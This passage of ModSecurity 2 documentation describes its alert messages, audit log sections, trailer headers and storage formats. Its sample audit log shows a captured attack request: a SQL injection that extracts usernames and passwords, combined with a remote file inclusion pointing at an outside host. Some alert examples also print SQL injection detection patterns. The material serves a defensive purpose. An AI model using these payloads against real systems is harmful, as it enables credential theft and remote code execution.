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<article>
    <title>ModSecurity 2 Data Formats</title>
    <articleinfo>
        <releaseinfo>Version 2.5.10-dev1 (March 24, 2009)</releaseinfo>
        <copyright>
            <year>2004-2010</year>
            <holder>Breach Security, Inc. (<ulink url="http://www.breach.com"
                    >http://www.breach.com</ulink>)</holder>
        </copyright>
    </articleinfo>
    <para>The purpose of this document is to describe the formats of the ModSecurity alert messages,
        transaction logs and communication protocols, which would not only allow for a better
        understanding what ModSecurity does but also for an easy integration with third-party tools
        and products.</para>
    <section>
        <title>Alerts</title>
        <para>As part of its operations ModSecurity will emit alerts, which are either
                <emphasis>warnings</emphasis> (non-fatal) or <emphasis>errors</emphasis> (fatal,
            usually leading to the interception of the transaction in question). Below is an example
            of a ModSecurity alert entry:</para>
        <programlisting>Access denied with code 505 (phase 1). Match of "rx
  ^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.
  [id "960034"] [msg "HTTP protocol version is not allowed by policy"]
  [severity "CRITICAL"] [uri "/"] [unique_id "PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
        <note>
            <para>Alerts will only ever contain one line of text but we've broken the above example
                into multiple lines to make it fit into the page.</para>
        </note>
        <para>Each alert entry begins with the engine message, which describes what ModSecurity did
            and why. For
            example:<programlisting>Access denied with code 505 (phase 1). Match of "rx
  ^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.</programlisting></para>
        <section>
            <title>Alert Action Description</title>
            <para>The first part of the engine message tells you whether ModSecurity acted to
                interrupt transaction or rule processing:</para>
            <orderedlist>
                <listitem>
                    <para>If the alert is only a warning, the first sentence will simply say
                            <emphasis>Warning</emphasis>.</para>
                </listitem>
                <listitem>
                    <para>If the transaction was intercepted, the first sentence will begin with
                            <emphasis>Access denied</emphasis>. What follows is the list of possible
                        messages related to transaction interception:</para>
                    <itemizedlist>
                        <listitem>
                            <para><emphasis>Access denied with code %0</emphasis> - a response with
                                status code <literal>%0</literal> was sent.</para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Access denied with connection close</emphasis> -
                                connection was abruptly closed.</para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Access denied with redirection to %0 using status
                                    %1</emphasis> - a redirection to URI <literal>%0</literal> was
                                issued using status <literal>%1</literal>.</para>
                        </listitem>
                    </itemizedlist>
                </listitem>
                <listitem>
                    <para>There is also a special message that ModSecurity emits where an <literal
                            >allow</literal> action is executed. There are three variations of this
                        type of message:</para>
                    <itemizedlist>
                        <listitem>
                            <para><emphasis>Access allowed</emphasis> - rule engine stopped
                                processing rules (transaction was unaffected).</para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Access to phase allowed</emphasis> - rule engine stopped
                                processing rules in the current phase only. Subsequent phases will
                                be processed normally. Transaction was not affected by this rule but
                                it may be affected by any of the rules in the subsequent
                                phase.</para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Access to request allowed</emphasis> - rule engine
                                stopped processing rules in the current phase. Phases prior to
                                request execution in the backend (currently phases 1 and 2) will not
                                be processed. The response phases (currently phases 3 and 4) and
                                others (currently phase 5) will be processed as normal. Transaction
                                was not affected by this rule but it may be affected by any of the
                                rules in the subsequent phase.</para>
                        </listitem>
                    </itemizedlist>
                </listitem>
            </orderedlist>
        </section>
        <section>
            <title>Alert Justification Description</title>
            <para>The second part of the engine message explains <emphasis>why</emphasis> the alert
                was generated. Since it is automatically generated from the rules it will be very
                technical in nature, talking about operators and their parameters and give you
                insight into what the rule looked like. But this message cannot give you insight
                into the reasoning behind the rule. A well-written rule will always specify a
                human-readable message (using the <literal>msg</literal> action) to provide further
                information.</para>
            <para>The format of the second part of the engine message depends on whether it was
                generated by the operator (which happens on a match) or by the rule processor (which
                happens where there is not a match, but the negation was used):</para>
            <itemizedlist>
                <listitem>
                    <para><literal>@beginsWith</literal> - <emphasis>String match %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@contains</literal> - <emphasis>String match %0 at
                        %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@containsWord</literal> - <emphasis>String match %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@endsWith</literal> - <emphasis>String match %0 at
                        %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@eq</literal> - <emphasis>Operator EQ matched %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@ge</literal> - <emphasis>Operator GE matched %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@geoLookup</literal> - <emphasis>Geo lookup for %0 succeeded at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@inspectFile</literal> - <emphasis>File %0 rejected by the
                            approver script %1: %2</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@le</literal> - <emphasis>Operator LE matched %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@lt</literal> - <emphasis>Operator LT matched %0 at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@rbl</literal> - <emphasis>RBL lookup of %0 succeeded at
                            %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@rx</literal> - <emphasis>Pattern match %0 at
                        %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@streq</literal> - <emphasis>String match %0 at
                        %1.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@validateByteRange</literal> - <emphasis>Found %0 byte(s) in %1
                            outside range: %2.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@validateDTD</literal> - <emphasis>XML: DTD validation
                            failed.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@validateSchema</literal> - <emphasis>XML: Schema validation
                            failed.</emphasis></para>
                </listitem>
                <listitem>
                    <para><literal>@validateUrlEncoding</literal></para>
                    <itemizedlist>
                        <listitem>
                            <para><emphasis>Invalid URL Encoding: Non-hexadecimal digits used at
                                    %0.</emphasis></para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Invalid URL Encoding: Not enough characters at the end
                                    of input at %0.</emphasis></para>
                        </listitem>
                    </itemizedlist>
                </listitem>
                <listitem>
                    <para><literal>@validateUtf8Encoding</literal></para>
                    <itemizedlist>
                        <listitem>
                            <para><emphasis>Invalid UTF-8 encoding: not enough bytes in character at
                                    %0.</emphasis></para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Invalid UTF-8 encoding: invalid byte value in character
                                    at %0.</emphasis></para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Invalid UTF-8 encoding: overlong character detected at
                                    %0.</emphasis></para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Invalid UTF-8 encoding: use of restricted character at
                                    %0.</emphasis></para>
                        </listitem>
                        <listitem>
                            <para><emphasis>Invalid UTF-8 encoding: decoding error at
                                %0.</emphasis></para>
                        </listitem>
                    </itemizedlist>
                </listitem>
                <listitem>
                    <para><literal>@verifyCC</literal> - <emphasis>CC# match %0 at
                        %1.</emphasis></para>
                </listitem>
            </itemizedlist>
            <para>Messages not related to operators:</para>
            <itemizedlist>
                <listitem>
                    <para>When <literal>SecAction</literal> directive is processed -
                            <emphasis>Unconditional match in SecAction.</emphasis></para>
                </listitem>
                <listitem>
                    <para>When <literal>SecRule</literal> does not match but negation is used -
                            <emphasis>Match of %0 against %1 required.</emphasis></para>
                </listitem>
            </itemizedlist>
            <note>
                <para>The parameters to the operators <literal>@rx</literal> and <literal
                        >@pm</literal> (regular expression and text pattern, respectively) will be
                    truncated to 252 bytes if they are longer than this limit. In this case the
                    parameter in the alert message will be terminated with three dots.</para>
            </note>
        </section>
        <section>
            <title>Meta-data</title>
            <para>The metadata fields are always placed at the end of the alert entry. Each metadata
                field is a text fragment that consists of an open bracket followed by the metadata
                field name, followed by the value and the closing bracket. What follows is the text
                fragment that makes up the <literal>id</literal> metadata field.</para>
            <programlisting>[id "960034"]</programlisting>
            <para>The following metadata fields are currently used:</para>
            <orderedlist>
                <listitem>
                    <para><literal>offset</literal> - The byte offset where a match occured within
                        the target data. This is not always available.</para>
                </listitem>
                <listitem>
                    <para><literal>id</literal> - Unique rule ID, as specified by the <literal
                            >id</literal> action.</para>
                </listitem>
                <listitem>
                    <para><literal>rev</literal> - Rule revision, as specified by the <literal
                            >rev</literal> action.</para>
                </listitem>
                <listitem>
                    <para><literal>msg</literal> - Human-readable message, as specified by the
                            <literal>msg</literal> action.</para>
                </listitem>
                <listitem>
                    <para><literal>severity</literal> - Event severity as text, as specified by the
                            <literal>severity</literal> action. The possible values (with their
                        corresponding numberical values in brackets) are <literal
                            >EMERGENCY</literal> (0), <literal>ALERT</literal> (1), <literal
                            >CRITICAL</literal> (2), <literal>ERROR</literal> (3), <literal
                            >WARNING</literal> (4), <literal>NOTICE</literal> (5), <literal
                            >INFO</literal> (6) and <literal>DEBUG</literal> (7).</para>
                </listitem>
                <listitem>
                    <para><literal>unique_id</literal> - Unique event ID, generated
                        automatically.</para>
                </listitem>
                <listitem>
                    <para><literal>uri</literal> - Request URI.</para>
                </listitem>
                <listitem>
                    <para><literal>logdata</literal> - contains transaction data fragment, as
                        specified by the <literal>logdata</literal> action.</para>
                </listitem>
            </orderedlist>
        </section>
        <section>
            <title>Escaping</title>
            <para>ModSecurity alerts will always contain text fragments that were taken from
                configuration or the transaction. Such text fragments escaped before they are user
                in messages, in order to sanitise the potentially dangerous characters. They are
                also sometimes surrounded using double quotes. The escaping algorithm is as
                    follows:<orderedlist>
                    <listitem>
                        <para>Characters <literal>0x08</literal> (<literal>BACKSPACE</literal>),
                                <literal>0x0a</literal> (<literal>NEWLINE</literal>), <literal
                                >0x10</literal> (<literal>CARRIAGE RETURN</literal>), <literal
                                >0x09</literal> (<literal>HORIZONTAL TAB</literal>) and <literal
                                >0x0b</literal> (<literal>VERTICAL TAB</literal>) will be
                            represented as <literal>\b</literal>, <literal>\n</literal>, <literal
                                >\r</literal>, <literal>\t</literal> and <literal>\v</literal>,
                            respectively.</para>
                    </listitem>
                    <listitem>
                        <para>Bytes from the ranges <literal>0-0x1f</literal> and <literal
                                >0x7f-0xff</literal> (inclusive) will be represented as <literal
                                >\xHH</literal>, where <literal>HH</literal> is the hexadecimal
                            value of the byte.</para>
                    </listitem>
                    <listitem>
                        <para>Backslash characters (<literal>\</literal>) will be represented as
                                <literal>\\</literal>.</para>
                    </listitem>
                    <listitem>
                        <para>Each double quote character will be represented as <literal
                                >\"</literal>, but only if the entire fragment is surrounded with
                            double quotes.</para>
                    </listitem>
                </orderedlist></para>
        </section>
        <section>
            <title>Alerts in the Apache Error Log</title>
            <para>Every ModSecurity alert conforms to the following format when it appears in the
                Apache error log:</para>
            <programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1]
            ModSecurity: ALERT_MESSAGE</programlisting>
            <para>The above is a standard Apache error log format. The <literal>ModSecurity:
                </literal> prefix is specific to ModSecurity. It is used to allow quick
                identification of ModSecurity alert messages when they appear in the same file next
                to other Apache messages.</para>
            <para>The actual message (<literal>ALERT_MESSAGE</literal> in the example above) is in
                the same format as described in the <emphasis>Alerts</emphasis> section.</para>
            <note>
                <para>Apache further escapes ModSecurity alert messages before writing them to the
                    error log. This means that all backslash characters will be doubled in the error
                    log. In practice, since ModSecurity will already represent a single backslash
                    within an untrusted text fragment as two backslashes, the end result in the
                    Apache error log will be <emphasis>four</emphasis> backslashes. Thus, if you
                    need to interpret a ModSecurity message from the error log, you should decode
                    the message part after the <literal>ModSecurity:</literal> prefix first. This
                    step will peel the first encoding layer.</para>
            </note>
        </section>
        <section>
            <title>Alerts in Audit Logs</title>
            <para>Alerts are transported in the <literal>H</literal> section of the ModSecurity
                Audit Log. Alerts will appear each on a separate line and in the order they were
                generated by ModSecurity. Each line will be in the following format:</para>
            <programlisting>Message: ALERT_MESSAGE</programlisting>
            <para>Below is an example of an <literal>H</literal> section that contains two alert
                messages:</para>
            <programlisting>--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
  "REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
  Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
  (?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
  |.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
  (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
  makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
  Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x

--c7036611-Z--</programlisting>
        </section>
    </section>
    <section>
        <title>Audit Log</title>
        <para>ModSecurity records one transaction in a single audit log file. Below is an
            example:</para>
        <programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
  80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,
  char(77),password,char(77),email_address,char(77),info,char(77),user_level,
  char(77))/**/from/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.
  com/images/banners/on.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, cslose
Host: www.example.com
User-Agent: libwww-perl/5.808

--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1

--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
  "REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
  Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
  (?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
  |.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
  (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
  makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
  Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x

--c7036611-Z--
</programlisting>
        <para>The file consist of multiple sections, each in different format. Separators are used
            to define sections:</para>
        <programlisting>--c7036611-A--</programlisting>
        <para>A separator always begins on a new line and conforms to the following format:</para>
        <orderedlist>
            <listitem>
                <para>Two dashes</para>
            </listitem>
            <listitem>
                <para>Unique boundary, which consists from several hexadecimal characters.</para>
            </listitem>
            <listitem>
                <para>One dash character.</para>
            </listitem>
            <listitem>
                <para>Section identifier, currently a single uppercase letter.</para>
            </listitem>
            <listitem>
                <para>Two trailing dashes.</para>
            </listitem>
        </orderedlist>
        <para>Refer to the documentation for <literal>SecAuditLogParts</literal> for the explanation
            of each part.</para>
        <section>
            <title>Parts</title>
            <para>This section documents the audit log parts available in ModSecurity 2.x. They are: <itemizedlist>
                    <listitem>
                        <para><literal moreinfo="none">A</literal> - audit log header</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">B</literal> - request headers</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">C</literal> - request body</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">D</literal> - intended response headers (NOT
                            IMPLEMENTED)</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">E</literal> - intended response body</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">F</literal> - response headers</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">G</literal> - response body (NOT
                            IMPLEMENTED)</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">H</literal> - audit log trailer</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">I</literal> - reduced multipart request
                            body</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">J</literal> - multipart files information
                            (NOT IMPLEMENTED)</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">K</literal> - matched rules
                            information</para>
                    </listitem>
                    <listitem>
                        <para><literal moreinfo="none">Z</literal> - audit log footer</para>
                    </listitem>
                </itemizedlist></para>
            <section>
                <title>Audit Log Header (<literal>A</literal>)</title>
                <para>ModSecurity 2.x audit log entries always begin with the header part. For
                    example:</para>
                <programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
  80.68.80.233 80</programlisting>
                <para>The header contains only one line, with the following information on
                    it:</para>
                <orderedlist>
                    <listitem>
                        <para>Timestamp</para>
                    </listitem>
                    <listitem>
                        <para>Unique transaction ID</para>
                    </listitem>
                    <listitem>
                        <para>Source IP address (IPv4 or IPv6)</para>
                    </listitem>
                    <listitem>
                        <para>Source port</para>
                    </listitem>
                    <listitem>
                        <para>Destination IP address (IPv4 or IPv6)</para>
                    </listitem>
                    <listitem>
                        <para>Destination port</para>
                    </listitem>
                </orderedlist>
            </section>
            <section>
                <title>Request Headers (<literal>B</literal>)</title>
                <para>The request headers part contains the request line and the request headers.
                    The information present in this part will not be identical to that sent by the
                    client responsible for the transaction. ModSecurity 2.x for Apache does not have
                    access to the raw data; it sees what Apache itself sees. While the end result
                    may be identical to the raw request, differences are possible in some
                    areas:</para>
                <orderedlist>
                    <listitem>
                        <para>If any of the fields are <literal>NUL</literal>-terminated, Apache
                            will only see the content prior to the NUL.</para>
                    </listitem>
                    <listitem>
                        <para>Headers that span multiple lines (feature known as header folding)
                            will be collapsed into a single line.</para>
                    </listitem>
                    <listitem>
                        <para>Multiple headers with the same name will be combined into a single
                            header (as allowed by the HTTP RFC).</para>
                    </listitem>
                </orderedlist>
            </section>
            <section>
                <title>Request Body (<literal>C</literal>)</title>
                <para>This part contains the request body of the transaction, after dechunking and
                    decompression (if applicable).</para>
            </section>
            <section>
                <title>Intended Response Headers (<literal>D</literal>)</title>
                <para>This part contains the status line and the request headers that would have
                    been delivered to the client had ModSecurity not intervened. Thus this part
                    makes sense only for transactions where ModSecurity altered the data flow. By
                    differentiating before the intended and the final response headers, we are able
                    to record what was internally ready for sending, but also what was actually
                    sent.</para>
                <note>
                    <para>This part is reserved for future use. It is not implemented in ModSecurity
                        2.x.</para>
                </note>
            </section>
            <section>
                <title>Intended Response Body (<literal>E</literal>)</title>
                <para>This part contains the transaction response body (before compression and
                    chunking, where used) that was either sent or would have been sent had
                    ModSecurity not intervened. You can find whether interception took place by
                    looking at the <literal>Action</literal> header of the part <literal
                    >H</literal>. If that header is present, and the interception took place in
                    phase 3 or 4 then the <literal>E</literal> part contains the intended response
                    body. Otherwise, it contains the actual response body.</para>
                <note>
                    <para>Once the <literal>G</literal> (actual response body) part is implemented,
                        part <literal>E</literal> will be present only in audit logs that contain a
                        transaction that was intercepted, and there will be no need for further
                        analsys.</para>
                </note>
            </section>
            <section>
                <title>Response Headers (<literal>F</literal>)</title>
                <para>This part contains the actual response headers sent to the client. Since
                    ModSecurity 2.x for Apache does not access the raw connection data, it
                    constructs part <literal>F</literal> out of the internal Apache data structures
                    that hold the response headers.</para>
                <para>Some headers (the <literal>Date</literal> and <literal>Server</literal>
                    response headers) are generated just before they are sent and ModSecurity is not
                    able to record those. You should note than ModSecurity is working as part of a
                    reverse proxy, the backend web server will have generated these two servers, and
                    in that case they will be recorded. </para>
            </section>
            <section>
                <title>Response Body (G)</title>
                <para>When implemented, this part will contain the actual response body before
                    compression and chunking.</para>
                <note>
                    <para>This part is reserved for future use. It is not implemented in ModSecurity
                        2.x.</para>
                </note>
            </section>
            <section>
                <title>Audit Log Trailer (H)</title>
                <para>Part <literal>H</literal> contains additional transaction meta-data that was
                    obtained from the web server or from ModSecurity itself. The part contains a
                    number of trailer headers, which are similar to HTTP headers (without support
                    for header folding):<orderedlist>
                        <listitem>
                            <para>Action</para>
                        </listitem>
                        <listitem>
                            <para>Apache-Error</para>
                        </listitem>
                        <listitem>
                            <para>Message</para>
                        </listitem>
                        <listitem>
                            <para>Producer</para>
                        </listitem>
                        <listitem>
                            <para>Response-Body-Transformed</para>
                        </listitem>
                        <listitem>
                            <para>Sanitised-Args</para>
                        </listitem>
                        <listitem>
                            <para>Sanitised-Request-Headers</para>
                        </listitem>
                        <listitem>
                            <para>Sanitised-Response-Headers</para>
                        </listitem>
                        <listitem>
                            <para>Server</para>
                        </listitem>
                        <listitem>
                            <para>Stopwatch</para>
                        </listitem>
                        <listitem>
                            <para>WebApp-Info</para>
                        </listitem>
                    </orderedlist></para>
                <section>
                    <title>Action</title>
                    <para>The <literal>Action</literal> header is present only for the transactions
                        that were intercepted:</para>
                    <programlisting>Action: Intercepted (phase 2)</programlisting>
                    <para>The phase information documents the phase in which the decision to
                        intercept took place.</para>
                </section>
                <section>
                    <title>Apache-Error</title>
                    <para>The Apache-Error header contains Apache error log messages observed by
                        ModSecurity, excluding those sent by ModSecurity itself. For example:</para>
                    <programlisting>Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/
  core.c"] [line 3505] [level 3] File does not exist: /var/www/www.
  modsecurity.org/fst/documentation/modsecurity-apache/2.5.0-dev2</programlisting>
                </section>
                <section>
                    <title>Message</title>
                    <para>Zero or more <literal>Message</literal> headers can be present in any
                        trailer, and each such header will represent a single ModSecurity warning or
                        error, displayed in the order they were raised.</para>
                    <para>The example below was broken into multiple lines to make it fit this
                        page:</para>
                    <programlisting>Message: Access denied with code 400 (phase 2). Pattern match "^\w+:/" at
  REQUEST_URI_RAW. [file "/etc/apache2/rules-1.6.1/modsecurity_crs_20_
  protocol_violations.conf"] [line "74"] [id "960014"] [msg "Proxy access
  attempt"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/PROXY_ACCESS"]</programlisting>
                </section>
                <section>
                    <title>Producer</title>
                    <para>The <literal>Producer</literal> header identifies the product that
                        generated the audit log. For example:</para>
                    <programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/).</programlisting>
                    <para>ModSecurity allows rule sets to add their own signatures to the <literal
                            >Producer</literal> information (this is done using the <literal
                            >SecComponentSignature</literal> directive). Below is an example of the
                            <literal>Producer</literal> header with the signature of one component
                        (all one line):</para>
                    <programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/);
    MyComponent/1.0.0 (Beta).</programlisting>
                </section>
                <section>
                    <title>Response-Body-Transformed</title>
                    <para>This header will appear in every audit log that contains a response
                        body:</para>
                    <programlisting>Response-Body-Transformed: Dechunked</programlisting>
                    <para>The contents of the header is constant at present, so the header is only
                        useful as a reminder that the recorded response body is not identical to the
                        one sent to the client. The actual content is the same, except that Apache
                        may further compress the body and deliver it in chunks.</para>
                </section>
                <section>
                    <title>Sanitised-Args</title>
                    <para>The <literal>Sanitised-Args</literal> header contains a list of arguments
                        that were sanitised (each byte of their content replaced with an asterisk)
                        before logging. For example:</para>
                    <programlisting>Sanitised-Args: "old_password", "new_password", "new_password_repeat".</programlisting>
                </section>
                <section>
                    <title>Sanitised-Request-Headers</title>
                    <para>The <literal>Sanitised-Request-Headers</literal> header contains a list of
                        request headers that were sanitised before logging. For example:</para>
                    <programlisting>Sanitised-Request-Headers: "Authentication".</programlisting>
                </section>
                <section>
                    <title>Sanitised-Response-Headers</title>
                    <para>The <literal>Sanitised-Response-Headers</literal> header contains a list
                        of response headers that were sanitised before logging. For example:</para>
                    <programlisting>Sanitised-Response-Headers: "My-Custom-Header".</programlisting>
                </section>
                <section>
                    <title>Server</title>
                    <para>The <literal>Server</literal> header identifies the web server. For
                        example:</para>
                    <programlisting>Server: Apache/2.0.54 (Debian GNU/Linux) mod_ssl/2.0.54 OpenSSL/0.9.7e</programlisting>
                    <para>This information may sometimes be present in any of the parts that contain
                        response headers, but there are a few cases when it isn't:<orderedlist>
                            <listitem>
                                <para>None of the response headers were recoreded.</para>
                            </listitem>
                            <listitem>
                                <para>The information in the response headers is not accurate
                                    because server signature masking was used.</para>
                            </listitem>
                        </orderedlist></para>
                </section>
                <section>
                    <title>Stopwatch</title>
                    <para>The <literal>Stopwatch</literal> header provides certain diagnostic
                        information that allows you to determine the performance of the web server
                        and of ModSecurity itself. It will typically look like this:</para>
                    <programlisting>Stopwatch: 1222945098201902 2118976 (770* 4400 -)</programlisting>
                    <para>Each line can contain up to 5 different values. Some values can be absent;
                        each absent value will be replaced with a dash.</para>
                    <para>The meanings of the values are as follows (all values are in
                            microseconds):<orderedlist>
                            <listitem>
                                <para>Transaction timestamp in microseconds since January 1st,
                                    1970.</para>
                            </listitem>
                            <listitem>
                                <para>Transaction duration.</para>
                            </listitem>
                            <listitem>
                                <para>The time between the moment Apache started processing the
                                    request and until phase 2 of ModSecurity began. If an asterisk
                                    is present that means the time includes the time it took
                                    ModSecurity to read the request body from the client (typically
                                    slow). This value can be used to provide a rough estimate of the
                                    client speed, but only with larger request bodies (the smaller
                                    request bodies may arrive in a single TCP/IP packet).</para>
                            </listitem>
                            <listitem>
                                <para>The time between the start of processing and until phase 2 was
                                    completed. If you substract the previous value from this value
                                    you will get the exact duration of phase 2 (which is the main
                                    rule processing phase).</para>
                            </listitem>
                            <listitem>
                                <para>The time between the start of request processing and util we
                                    began sending a fully-buffered response body to the client. If
                                    you substract this value from the total transaction duration and
                                    divide with the response body size you may get a rough estimate
                                    of the client speed, but only for larger response bodies.</para>
                            </listitem>
                        </orderedlist></para>
                </section>
                <section>
                    <title>WebApp-Info</title>
                    <para>The <literal>WebApp-Info</literal> header contains information on the
                        application to which the recorded transaction belongs. This information will
                        appear only if it is known, which will happen if <literal
                            >SecWebAppId</literal> was set, or <literal>setsid</literal> or <literal
                            >setuid</literal> executed in the transaction.</para>
                    <para>The header uses the following format:</para>
                    <programlisting>WebApp-Info: "WEBAPPID" "SESSIONID" "USERID"</programlisting>
                    <para>Each unknown value is replaced with a dash.</para>
                </section>
            </section>
            <section>
                <title>Reduced Multipart Request Body (<literal>I</literal>)</title>
                <para>Transactions that deal with file uploads tend to be large, yet the file
                    contents is not always relevant from the security point of view. The <literal
                        >I</literal> part was designed to avoid recording raw <literal
                        >multipart/form-data</literal> request bodies, replacing them with a
                    simulated <literal>application/x-www-form-urlencoded</literal> body that
                    contains the same key-value parameters.</para>
                <para>The reduced multipart request body will not contain any file information. The
                        <literal>J</literal> part (currently not implemented) is intended to carry
                    the file metadata.</para>
            </section>
            <section>
                <title>Multipart Files Information (<literal>J</literal>)</title>
                <para>The purpose of part <literal>J</literal> is to record the information on the
                    files contained in a <literal>multipart/form-data</literal> request body. This
                    is handy in the cases when the original request body was not recorded, or when
                    only a reduced version was recorded (e.g. when part <literal>I</literal> was
                    used instead of part <literal>C</literal>).</para>
                <note>
                    <para>This part is reserved for future use. It is not implemented in ModSecurity
                        2.x.</para>
                </note>
            </section>
            <section>
                <title>Matched Rules (<literal>K</literal>)</title>
                <para>The matched rules part contains a record of all ModSecurity rules that matched
                    during transaction processing. You should note that if a rule that belongs to a
                    chain matches then the entire chain will be recorded. This is because, even
                    though the disruptive action may not have executed, other per-rule actions have,
                    and you will need to see the entire chain in order to understand the
                    rules.</para>
                <para>This part is available starting with ModSecurity 2.5.x.</para>
            </section>
            <section>
                <title>Audit Log Footer (<literal>Z</literal>)</title>
                <para>Part <literal>Z</literal> is a special part that only has a boundary but no
                    content. Its only purpose is to signal the end of an audit log.</para>
            </section>
        </section>
        <section>
            <title>Storage Formats</title>
            <para>ModSecurity supports two audit log storage formats:<orderedlist>
                    <listitem>
                        <para><emphasis>Serial</emphasis> audit log format - multiple audit log
                            files stored in the same file.</para>
                    </listitem>
                    <listitem>
                        <para><emphasis>Concurrent</emphasis> audit log format - one file is used
                            for every audit log.</para>
                    </listitem>
                </orderedlist></para>
            <section>
                <title>Serial Audit Log Format</title>
                <para>The serial audit log format stores multiple audit log entries within the same
                    file (one after another). This is often very convinent (audit log entries are
                    easy to find) but this format is only suitable for light logging in the current
                    ModSecurity implementation because writing to the file is serialised: only one
                    audit log entry can be written at any one time.</para>
            </section>
            <section>
                <title>Concurrent Audit Log Format</title>
                <para>The concurrent audit log format uses one file per audit log entry, and allows
                    many transactions to be recorded at once. A hierarchical directory structure is
                    used to ensure that the number of files created in any one directory remains
                    relatively small. For example:</para>
                <programlisting>$LOGGING-HOME/20081128/20081128-1414/20081128-141417-
  egDKy38AAAEAAAyMHXsAAAAA</programlisting>
                <para>The current time is used to work out the directory structure. The file name is
                    constructed using the current time and the transaction ID.</para>
                <para>The creation of every audit log in concurrent format is recorded with an entry
                    in the concurrent audit log <emphasis>index file</emphasis>. The format of each
                    line resembles the common web server access log format. For example:</para>
                <programlisting>192.168.0.111 192.168.0.1 - - [28/Nov/2008:15:06:32 +0000]
  "GET /?p=\\ HTTP/1.1" 200 69 "-" "-" NOfRx38AAAEAAAzcCU4AAAAA
  "-" /20081128/20081128-1506/20081128-150632-NOfRx38AAAEAAAzcCU4AAAAA
  0 1183 md5:ffee2d414cd43c2f8ae151652910ed96</programlisting>
                <para>The tokens on the line are as follows:</para>
                <orderedlist>
                    <listitem>
                        <para>Hostname (or IP address, if the hostname is not known)</para>
                    </listitem>
                    <listitem>
                        <para>Source IP address</para>
                    </listitem>
                    <listitem>
                        <para>Remote user (from HTTP Authentication)</para>
                    </listitem>
                    <listitem>
                        <para>Local user (from identd)</para>
                    </listitem>
                    <listitem>
                        <para>Timestamp</para>
                    </listitem>
                    <listitem>
                        <para>Request line</para>
                    </listitem>
                    <listitem>
